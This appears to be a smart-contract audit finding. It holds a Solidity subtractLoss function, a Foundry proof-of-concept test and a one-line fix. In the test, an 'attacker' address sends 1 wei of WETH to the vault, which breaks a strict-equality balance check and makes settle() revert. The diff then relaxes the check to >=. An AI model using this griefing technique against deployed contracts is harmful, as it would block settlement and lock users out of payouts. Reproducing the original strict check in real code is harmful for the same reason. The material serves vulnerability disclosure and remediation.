function subtractLoss(uint256 loss) public onlyPerpVault {
  require(
    collateral.balanceOf(address(this)) == _totalCollateral - loss,
    "Not enough collateral was sent out"
  );
  _totalCollateral -= loss;
}
function testSettlePoC() public {
  weth.mint(address(1), 1 ether);
  weth.mint(address(777), 1 ether); // give some tokens to attacker

  deposit(1 ether, address(1));

  vault.purchase(1 ether, address(this));

  uint256[] memory ids = new uint256[](1);
  ids[0] = 0;

  skip(86500); // expire

  priceOracle.updateRdpxPrice(0.010 gwei); // ITM
  uint256 wethBalanceBefore = weth.balanceOf(address(this));
  uint256 rdpxBalanceBefore = rdpx.balanceOf(address(this));

  // attack
  vm.startPrank(address(777), address(777));
  weth.transfer(address(vaultLp), 1); // send 1 wei of collateral
  vm.stopPrank();

  vm.expectRevert("Not enough collateral was sent out");
  vault.settle(ids);
}
function subtractLoss(uint256 loss) public onlyPerpVault {
  require(
-   collateral.balanceOf(address(this)) == _totalCollateral - loss,
+   collateral.balanceOf(address(this)) >= _totalCollateral - loss,
    "Not enough collateral was sent out"
  );
  _totalCollateral -= loss;
}
